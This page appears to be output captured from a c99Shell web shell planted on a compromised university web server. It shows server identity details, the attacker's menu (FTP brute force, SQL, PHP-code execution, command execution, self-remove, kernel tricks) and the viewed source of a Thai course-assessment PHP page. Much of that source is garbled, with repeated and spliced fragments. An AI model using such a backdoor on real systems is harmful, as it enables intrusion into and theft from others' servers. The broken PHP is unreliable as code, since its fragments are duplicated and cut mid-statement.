!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showFormByCourse.php (28.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_Acad.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsSysStudyTypeAssess.php";
include_once 
"../class/clsReg_Day.php";
include_once 
"../class/clsReg_Period.php";
include_once 
"../class/clsTimeTableAssess.php";
include_once 
"../class/clsWeekDateAssess.php";
include_once 
"../class/clsMainExternalPlace.php";
include_once 
"../class/clsSubExternalPlace.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oReg = new Registration($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oDA2 = new DefineAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);
$oSST = new SysStudyTypeAssess($oCA);
$orDy=new Day($oCR);
$orPr = new Period($oCR);
$oAc = new Acad($oCR);
$oTTA = new TimeTableAssess($oCA);
$oTTA2 = new TimeTableAssess($oCA);
$oWDA = new WeekDateAssess($oCA);
$oAc->RSAcad();
$oAc->GetRecord();
$oMep = new MainExternalPlace($oCA);
$oSep = new SubExternalPlace($oCA);
//$oAc->forceAssess = 'N';

$oClass = new ClassAssess($oCA);
$oClass->SearchByKey($classId);
$oClass->GetRecord();

$oCourse = new CourseAssess($oCA);
$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();

$oReg->RSRegisByStdIdAndClassId($studentId$classId);
$oReg->GetRecord();

$now  GetNowDate(); //  y-m-d
$now2 GetNowDateFw(); //  d-m-y
$nowDate=GetNowDateTh(); //  y-m-d

if(!$acadYear)
    
$acadYear $GLOBALS["ACADYEAR_R"];
if(!
$semester)
    
$semester $GLOBALS["SEMESTER_R"];

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><br>
      <fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="startPageAss.php">เริ่มการประเมิน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ประเมินรายวิชาที่ลงทะเบียนเรียน</font></legend>
      </legend>
      <div align="center"> 
        <form name="pc" method="post" action="<?php echo $PHP_SELF;?>"><br>
          <table width="668" align="center" border="0">
            <tr> 
              <td width="662" height="60">
                <table width="664" border="0" align="center">
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                    <td width="96" height="24"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;รหัสรายวิชา</b></font></td>
                    <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b> 
                      &nbsp;<?php echo $oCourse->courseCode?> (<?php echo $oCourse->courseCodeEng?>)</font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b> 
                      </b></font></td>
                  </tr>
                  <tr> 
                    <td height="20"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;ชื่อรายวิชา 
                      </b></font></td>
                    <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b></font>&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      <?php echo $oCourse->courseName?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      (<?php echo $oCourse->courseNameEng?>)</font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                    <td height="20"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;หน่วยกิต 
                      </b></font></td>
                    <td width="126"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: 
                      </b>&nbsp;<?php echo $oCourse->courseUnit;?></font></td>
                    <td width="45"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;กลุ่ม</b></font></td>
                    <td width="379"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oClass->section?></font></td>
                  </tr>
                </table>              </td>
            </tr>
            <tr> 
              <td height="2"></td>
            </tr>
            <tr> 
              <td><br>
                <table width="671" height="28" border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" align="center">
                  <tr > 
                  <td  width="5%">&nbsp;</td>
                  <td  width="55%">&nbsp;</td>
                  <td  width="40%">&nbsp;</td>
                  </tr>
                  <?php 

                
if ($flag5_mustDo>|| $flag6_mustDo>0){ ?>
                  <tr>
                    <td   height="20"   colspan="2"><font size="2">&nbsp;<img src="../picture/bookmark.gif" width="13" height="13" border="0" /><b>ประเมินภาพรวมรายวิชา </b></font></td>
                    <td  bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <?php
            
//                case 5
                            
$oDA->RSByFlagAndBetweenSCDate(5,$nowDate);
                            while(
$oDA->GetRecord()){
            
//---------- ข้ามเทอม
                                
if($oDA->acadYear==$oClass->acadYear && $oDA->semester==$oClass->semester ){    
            
//-------------------
                                
$oDA2->SearchByDefineid($oDA->defineid);
                                
$oDA2->GetRecord();
                                
$oAF->SearchByKey($oDA2->assid);
                                
$oAF->GetRecord();
                                
$chAssHold $oDo->CountCheckAssessment3($oDA2->defineid,$studentId,$classId,$oClass->section);
                                
//if($chAssHold ==0){
                                
if(true){         
                     
?>
                  <tr  bgcolor="#FFFFFF" >
                    <td height="22"  align="left" valign="top"  colspan="2"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?></td>
                                <?php if($chAssHold ==0){    ?> 
                                <td    align="left" colspan="1" ><img src="../picture/arrow.gif"  border ="0"  height="13" width="13" /><a href = "assessFormHCourse.php?defineid=<? echo $oDA2->defineid ?>&assid=<? echo $oDA2->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<?=$Class->officerId?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a></td>
                                <?php }else{    ?>
                                <td    align="left" colspan="1" ><img src="../picture/apply.gif"  border ="0"  height="13" width="13" /> ประเมินแล้ว </td> 
                                <?php }    ?>                                  
                                <? ?>
                  </tr>
                  <?php        
                                
}// ข้ามเทอม
                            
}// loop  oDA
                        
                            //    case 6
                        //    $oDA->RSByFlagAndBetweenSCDate(6,$nowDate);
                            
$oDA->RSDefineidByFlagBetweenSCDateClId(6,$nowDate,$oReg->classId);
                            
$run=0;
                            while(
$oDA->GetRecord()){
                                    
$oDA2->SearchByDefineid($oDA->defineid);
                                    
$oDA2->GetRecord();
                                    
$oAF->SearchByKey($oDA2->assid);
                                    
$oAF->GetRecord();
                                    
$chAssHold $oDo->CountCheckAssessment3($oDA2->defineid,$studentId,$classId,$oClass->section);
                                    
// if($chAssHold ==0){
                                    
$run++;
                                    if(
true){    
                     
?>
                  <tr  bgcolor="#FFFFFF" >
                                <td height="22"  align="left" valign="top"  colspan="2"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?>*</td>
   
                                <?php  
                                
if(strcmp($chAssHold,'0')==0){    ?>
                                <td    align="left" colspan="1" ><img src="../picture/arrow.gif"  border ="0"  height="13" width="13" /><a href = "assessFormHCourse.php?defineid=<? echo $oDA2->defineid ?>&assid=<? echo $oDA2->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<?=$Class->officerId?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a></td> 
                                <?php }else{    ?>
                                <td align="left" colspan="1" ><img src="../picture/apply.gif"  border ="0"  height="13" width="13" /> ประเมินแล้ว </td> 
                                <?php }    ?>                    
                    
                                <? ?>
                  </tr>
                  <?

                            
}// loop  oDA
                    
                    
}// if flag6_mustDo

                   
if($flag8_mustDo!=|| $flag0_mustDo!=|| $flag1_mustDo!=){ ?>
                  <tr>
                    <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr>
                    <td   height="20"   colspan="2"><font size="2" >&nbsp;<img src="../picture/bookmark.gif" width="13" height="13" border="0" /><b>ประเมินรายอาจารย์ผู้สอน</b></font></td>
                    <td colspan="1" bgcolor="#FFFFFF"></td>
                  </tr>
                  <?php            
            
//        case 0
                    
$oDA->RSByFlagAndBetweenSCDate(0$nowDate);
                    while(
$oDA->GetRecord()){
                        
$i =1;
                        
$oCIS->SearchByClassIdGroupClassIdOfficerId($classId);
                        while(
$oCIS->GetRecord()) {
            
//---------- ข้ามเทอม
                            
if($oDA->acadYear==$oClass->acadYear && $oDA->semester==$oClass->semester ){    
            
//-------------------
                            
$oOFA->SearchByKey($oCIS->officerId);
                            
$oOFA->GetRecord();
                            
$chAssHold $oDo->CountCheckAssessment($oDA->defineid,$studentId,$oCIS->officerId,$classId,$oClass->section);
                            
//if($chAssHold == 0) {
                            
if(true) {
                                if(
$i==1){
                                    
$oAF->SearchByKey($oDA->assid);
                                    
$oAF->GetRecord();
                    
?>
                  <tr  bgcolor="#FFFFFF" >
                    <td height="22"  align="left" valign="top"  colspan="3"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss;?></td>
                  </tr>
                  <?php 
                                
}
                                if((
$i%2) == 0)
                                    echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_7"].'">';        
                                else
                                    echo 
'<tr bgcolor="#FFFFFF">';
                                            
                    
?>
  <td colspan="1" ></td>
      <td    align="left"  colspan="1"><?=" อ.".$oOFA->officerName."  ".$oOFA->officerSurname;?>      </td>
     <?php if($chAssHold == 0) {    ?>
    <td colspan="1" ><img src="../picture/arrow.gif"  border ="0"  height="13" width="13" /><a href = "assessFormHCourse.php?defineid=<? echo $oDA->defineid ?>&assid=<?=$oDA2->assid ?>&studentId=<?= $studentId ?>&classId=<?=$classId ?>&courseId=<?=$courseId ?>&section=<?=$oClass->section ?>&officerId=<?=$oOFA->officerId?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a> </td>
    <?php }else{    ?>
    <td colspan="1" ><img src="../picture/apply.gif"  border ="0"  height="13" width="13" /> ประเมินแล้ว</td>
    <?php }    ?>
  </tr>
  <?php                
                                $i
++;
                                  }
// end if show
                            
}// ข้ามปี
                        
}// loop CIS
                        
echo '<tr><td colspan="6"> &nbsp;</td></tr>';
                      }
// loop  oDA                  
        
            //        case 1
                        
$oDA->RSDefineidByFlagBetweenSCDateClId(1,$nowDate,$oReg->classId);
                        while(
$oDA->GetRecord()){
                                
$i =1;
                                
$oCIS->SearchByClassIdGroupClassIdOfficerId($classId);
                                while(
$oCIS->GetRecord()) {
                                    
$oOFA->SearchByKey($oCIS->officerId);
                                    
$oOFA->GetRecord();
                                    
$chAssHold $oDo->CountCheckAssessment($oDA->defineid,$studentId,$oCIS->officerId,$classId,$oClass->section);
                                    
//if($chAssHold == 0) {
                                    
if(true) {
                                        if(
$i==1){
                                            
$oDA2->SearchByDefineid($oDA->defineid);
                                            
$oDA2->GetRecord();
                                            
$oAF->SearchByKey($oDA2->assid);
                                            
$oAF->GetRecord();
                    
?>
  <tr  bgcolor="#FFFFFF" >
    <td height="22"  align="left" valign="top"  colspan="3"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?>*</td>
  </tr>
  <?php 
                                        
}
                                        if((
$i%2) == 0)
                                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_7"].'">';        
                                        else
                                            echo 
'<tr bgcolor="#FFFFFF">';                            
                                     
?>
  <td coli==1){
                                            $oDA2->SearchByDefineid($oDA->defineid);
                                            $oDA2->GetRecord();
                                            $oAF->SearchByKey($oDA2->assid);
                                            $oAF->GetRecord();
                    ?>
  <tr  bgcolor="#FFFFFF" >
    <td height="22"  align="left" valign="top"  colspan="3"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?>*</td>
  </tr>
  <?php 
                                        
}
                                        if((
$i%2) == 0)
                                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_7"].'">';        
                                        else
                                            echo 
'<tr bgcolor="#FFFFFF">';                            
                                     
?>
  <td col" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a> </td>
    <?php }else{    ?>
    <td colspan="1" ><img src="../picture/apply.gif"  border ="0"  height="13" width="13" /> ประเมินแล้ว</td>
    <?php }    ?>
  </tr>
  <?php                
                                    $i
++;
                                      }
// end if show
                                
}// loop CIS
                            
echo '<tr><td colspan="6"> &nbsp;</td></tr>';
                          }
// loop  oDA          
                                                
            //        case 8
                        
$oDA->RSAssidByFlagBetweenSCDateClId(8,$nowDate,$classId);
                        while(
$oDA->GetRecord()){
                                
$i =1;
                                
$oHC->RSAssessFlag8ByAssidSCDateClId($oDA->assid,$nowDate,$classId);
                                while(
$oHC->GetRecord()){
                                    
$oDA2->Sea" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a> </td>
    <?php }else{    ?>
    <td colspan="
1" ><img src="../picture/apply.gif"  border ="0"  height="13" width="13" /> ประเมินแล้ว</td>
    <?php }    ?>
  </tr>
  <?php                
                                    $i++;
                                      }// end if show
                                }// loop CIS
                            echo '<tr><td colspan="
6"> &nbsp;</td></tr>';
                          }// loop  oDA          
                                                
            //        case 8
                        $oDA->RSAssidByFlagBetweenSCDateClId(8,$nowDate,$classId);
                        while($oDA->GetRecord()){
                                $i =1;
                                $oHC->RSAssessFlag8ByAssidSCDateClId($oDA->assid,$nowDate,$classId);
                                while($oHC->GetRecord()){
                                    $oDA2->Sea$today=getWeekDay($now2);
                                        $curTime = date("
H:i:s");
                                        $orPr->SearchBetweenTime($curTime);
                                        $orPr->GetRecord();
                                        $oWDA->searchWeekByScDate($now);
                                        if( $oWDA->GetRecord()){
                                            if(($oWDA->wdAcYWeekNo < $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA2->ttDyId && $orPr->period <=  $oTTA2->ttToPr) ){
                                                $show=3;
                                                // ยังไม่ถึงช่วงเวลาประเมิน
                                            }
                                        }
                                    }
                                    if(true){
                                    //if($show){
                                        if($i==1){
                                            $oAF->SearchByKey($oDA->$today=getWeekDay($now2);
                                        $curTime = date("
H:i:s");
                                        $orPr->SearchBetweenTime($curTime);
                                        $orPr->GetRecord();
                                        $oWDA->searchWeekByScDate($now);
                                        if( $oWDA->GetRecord()){
                                            if(($oWDA->wdAcYWeekNo < $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA2->ttDyId && $orPr->period <=  $oTTA2->ttToPr) ){
                                                $show=3;
                                                // ยังไม่ถึงช่วงเวลาประเมิน
                                            }
                                        }
                                    }
                                    if(true){
                                    //if($show){
                                        if($i==1){
                                            $oAF->SearchByKey($oDA-> split('[-]',$oDA2->endDate);
                                        $end=convertDayNumberToString($dd)." ".convertMonthNumberToString2($mm)." ".substr($yy,2,2);
                                     ?>
  <td colspan="
1" width="5%"></td>
      <td    align="
left"  colspan="1"><?='['.$start.' - '.$end.']'?>
        &nbsp;
        <? if($oDA2->isPreAssess==1) {?>
        <img src="
../picture/book1.gif" width="18" height="22" border="0" />
        <? } else{?>
        <img src="
../picture/open_book1.jpg" width="22" height="18" border="0" />
        <?     }?>
        &nbsp;
        <?=" 
.".$oOFA->officerName."  ".$oOFA->officerSurname;?>      </td>
    <?php if($show==1){ ?>
    <td colspan="
1" ><img src="../picture/arrow.gif"  bor split('[-]',$oDA2->endDate);
                                        $end=convertDayNumberToString($dd)." ".convertMonthNumberToString2($mm)." ".substr($yy,2,2);
                                     ?>
  <td colspan="
1" width="5%"></td>
      <td    align="
left"  colspan="1"><?='['.$start.' - '.$end.']'?>
        &nbsp;
        <? if($oDA2->isPreAssess==1) {?>
        <img src="
../picture/book1.gif" width="18" height="22" border="0" />
        <? } else{?>
        <img src="
../picture/open_book1.jpg" width="22" height="18" border="0" />
        <?     }?>
        &nbsp;
        <?=" 
.".$oOFA->officerName."  ".$oOFA->officerSurname;?>      </td>
    <?php if($show==1){ ?>
    <td colspan="
1" ><img src="../picture/arrow.gif"  bor> ประเมินแล้ว</td>
    <?php }elseif($show==3){ ?>
    <td colspan="
1" ><img src="../picture/bookmark.gif"  border ="0"  height="13" width="13" /> ยังไม่ถึงช่วงเวลาประเมิน</td>
    <?php } ?>
     </tr>
  <?php                
                                    $i++;
                                  }// end if show
                                }// loop oHC
                            echo '<tr><td colspan="
6"> &nbsp;</td></tr>';
                          }// loop  oDA
                   }// if mustDo8

                            if($flag7_mustDo!=0){ ?>
  <tr>
    <td   height="
20"   colspan="3"><font size="2" >&nbsp;<img src="../picture/bookmark.gif" width="13" height="13" border="0" /><b>ประเมินรายสัปดาห์</b></font></td>
  </tr>
  <?php                            
                            $oDA->RSAssidByFlagBetweenSCDateClId(7,$nowDate,$classId);
                            while($oDA->GetRecord()){
                                    $oHC->RSAssessFlag7ByAssid($oDA->assid,$nowDate,$classId);
                                    $i =1;
                                    while($oHC->GetRecord()){                    
                                        $oDA2->SearchByDefineid($oHC->defineid);
                                        $oDA2->GetRecord();
                                        $oTTA->SearchTimeTableByttId($oHC->ttId);
                                        $oTTA->GetRecord();
                                        $oOFA->SearchByKey($oTTA->ttOfId);
                                        $oOFA->GetRecord();
                                        $chAssHold = $oDo->CountCheckAssessment2($oDA2->defineid,$studentId,$oTTA->ttOfId,$oTTA->ttId,$oClass->section);
                                    

                    $oMep->SearchById($oTTA->ttEpMepId);
                    $oMep->GetRecord();

                    $oSep->SearchByKey($oTTA->ttEpSepId);
                    $oSep->GetRecord();

                                    $show=1;
                                    $today=getWeekDay($now2);
                                    $oWDA->searchWeekByScDate($now);
                                    $oWDA->GetRecord();    
                                    
                                    if($chAssHold != 0){
                                         $show=0;
                                     }elseif($oDA2->isPreAssess==0 && $acadYear <= $oDA2->acadYear){
                                        $curTime = date("
H:i:s");
                                        $orPr->SearchBetweenTime($curTime);
                                        $orPr->GetRecord();
                                        if(($oWDA->wdAcYWeekNo < $oTTA->ttWdAcYWeekNo ) || ($oWDA->wdAcYWeekNo==$oTTA->ttWdAcYWeekNo && $today <= $oTTA->ttDyId && $orPr->period <=  $oTTA->ttToPr) )
                                                $show=0;
                                    }
                                    
                                    if($show){
                                        if($i==1){
                                            $oAF->SearchByKey($oDA->assid);
                                            $oAF->GetRecord();
                    ?>
  <tr  bgcolor="
#FFFFFF" >
    
<td height="22"  align="left" valign="top"  colspan="3"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?></td>
  </tr>
  <?php 
                                        
}
                                            
$oSST->SearchByKey($oTTA->ttSstId);
                                            
$oSST->GetRecord();
                                            
$orDy->SearchByKey($oTTA->ttDyId);
                                            
$orDy->GetRecord();
        
                                            
$orPr->SearchByKey($oTTA>ttFrPr);
                                            
$orPr->GetRecord();
                                            
$orPr->SearchByKey($oTTA->ttToPr);
                                            
$orPr->GetRecord();
                                            
$ClassTime$orDy->dayAbbrEng.' '.substr($orPr->startTime,0,5).'-'.substr($orPr->endTime,0,5);
                                            if((
$i%2) == 0)
                                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_7"].'">';        
                                            else
                                                echo 
'<tr bgcolor="#FFFFFF">';
                                            
                                            list(
$yy$mm$dd) = split('[-]',$oDA2->startDate);
                                            
$start=convertDayNumberToString($dd);
                                            list(
$yy$mm$dd) = split('[-]',$oDA2->endDate);
                                            
$end=convertDayNumberToString($dd)." ".convertMonthNumberToString2($mm)." ".substr($yy,2,2);
                                     
?>
  <td colspan="1" width="5%"></td>
      <td    align="left"  colspan="1"><?='['.$start.' - '.$end.']'?>
        &nbsp;
        <? if($oDA2->flag==7){
                                         if(
$oDA2->isPreAssess==1) {?>
        <img src="../picture/book1.gif" width="18" height="22" border="0" />
        <? } else{?>
        <img src="../picture/open_book1.jpg" width="22" height="18" border="0" />
        <?    } }?>
        &nbsp;
        <?=" สัปดาห์ที่ ".$oTTA->ttWdAcYWeekNo;?>
        <? //=" ".$oTTA->ttMainPlace. ' - '.$oTTA->ttSubPlace;?>
        <?=" ห้อง ".$oSep->sepName;?>
        <br />
        <?=" อ.".$oOFA->officerName."  ".$oOFA->officerSurname;?>
        &nbsp;
        <?="  ".$ClassTime;?>
        &nbsp;
        <?=' เนื้อหา ('.$oSST->sstAbbrEng.') '.$oTTA->ttTitle;?> </td>
    <td width="15%" colspan="1"><img src="../picture/arrow.gif"  border ="0"  height="13" width="13" /><a href = "assessFormHCourse.php?defineid=<? echo $oDA2->defineid ?>&assid=<? echo $oDA2->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<?=$oOFA->officerId?>&ttId=<?=$oTTA->ttId?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a> </td>
  </tr>
  <?php                
                                    $i
++;
                                  }
// end if show
                                
}// loop oHC
                                
echo '<tr><td colspan="6"> &nbsp;</td></tr>';
                          }
// loop  oDA
                   
}// if mustDo
                   
?>
<?  
//case 9
    
if ($flag9_mustDo>){ 
?>
      <tr>
        <td   height="20"   colspan="2"><font size="2">&nbsp;<img src="../picture/bookmark.gif" width="13" height="13" border="0" /><b>ประเมินแหล่งฝึก</b></font></td>
        <td  bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
<?
        $oDA
->RSDefineidHPByFlagBetweenSCDateClId(9,$nowDate,$oReg->classId);
        while(
$oDA->GetRecord()){
            
//-------- ข้ามเทอม
            
$oDA2->SearchByDefineid($oDA->defineid);
            
$oDA2->GetRecord();
            if(
$oDA2->acadYear==$oClass->acadYear && $oDA2->semester==$oClass->semester ){
                
$oAF->SearchByKey($oDA2->assid);
                
$oAF->GetRecord();
?>
          <tr  bgcolor="#FFFFFF" >
            <td height="22"  align="left" valign="top"  colspan="2"><img src="../picture/blank1.gif" border="0" /><img src="../picture/linesub.gif" border="0" /><img src="../picture/ball_yellow.gif"  border ="0"  height="13" width="13" /> <? echo '   '.$oAF->nameAss ?>*</td>
          </tr>
<?php
                 
// หาแหล่งฝึก
                
$oTTA->RSMepSepByClassId($classId);
                while(
$oTTA->GetRecord()){

                    
$oMep->SearchById($oTTA->ttEpMepId);
                    
$oMep->GetRecord();

                    
$oSep->SearchByKey($oTTA->ttEpSepId);
                    
$oSep->GetRecord();

                    
$chAssHold $oDo->CountCheckAssessmentHP($oDA2->defineid,$studentId,$classId,$oClass->section,$oMep->mepId,$oSep->sepId);
                    if(
$chAssHold ==0){
?>

          <tr  bgcolor="#FFFFFF" >
            <td height="22"  align="left" valign="top"  colspan="2">
                <img src="../picture/blank1.gif" border="0" />
                &nbsp;&nbsp;&nbsp;&nbsp;<img src="../picture/linesub.gif" border="0" />
                <img src="../picture/assEp.jpg"  border="0"height="18" width="22" ><? echo '   '.$oSep->sepName.'   '.$oMep->mepName;?>
            </td>
            <td    align="left" colspan="1" ><img src="../picture/arrow.gif"  border ="0"  height="13" width="13" /><a href = "assessFormHCourse.php?defineid=<? echo $oDA2->defineid ?>&assid=<? echo $oDA2->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<?=$Class->officerId?>&flag7_mustDo=<?=$flag7_mustDo;?>&flag6_mustDo=<?=$flag6_mustDo;?>&flag8_mustDo=<?=$flag8_mustDo;?>&flag0_mustDo=<?=$flag0_mustDo;?>&flag1_mustDo=<?=$flag1_mustDo;?>&flag5_mustDo=<?=$flag5_mustDo;?>&flag9_mustDo=<?=$flag9_mustDo;?>&mepId=<?=$oMep->mepId;?>&sepId=<?=$oSep->sepId;?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">เข้าประเมิน</a>
            </td>
          </tr>
<?                  }// end if
                
}//end loop oTTA
            
}// ข้ามเทอม
        
}// loop  oDA
    
}// if flag6_mustDo
 // END case 9 
?>
                </table>
                <br>
                <table width="100%" border="0" align="center">
                  <tr><td>&nbsp;</td></tr>
                  <tr><td height="26"><input type="button" name="back2" value="กลับสู่หน้าหลัก" onClick=" location.href = 'startPageAss.php'"></td></tr>
                </table></td>
            </tr>
          </table>
          <br>
</form></div></label>
</fieldset><br>
      <table width="89%" border="0"> 
        <tr> 
          <td width="11%" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="178%" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">คลิกที่แบบประเมินหรือคลิกที่สถานะของการประเมิน 
            เพื่อทำการประเมินรายวิชาโดยแยกตามอาจารย์ผู้สอน</font></td>
        </tr>
        <tr>
          <td height="27">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
          หมายถึง แบบประเมินเฉพาะรายวิชา</font></td>
        </tr>
        <tr>
          <td height="27">&nbsp;</td>
          <td colspan="2"><img src="../picture/book1.gif" width="18" height="22" border="0">
                                      <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">หมายถึง แบบประเมินก่อนเรียน</font>
          </td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td colspan="2"><img src="../picture/open_book1.jpg" width="22" height="18" border="0">
                                      <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">หมายถึง แบบประเมินหลังเรียน</font></td>
        </tr>
      </table></td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

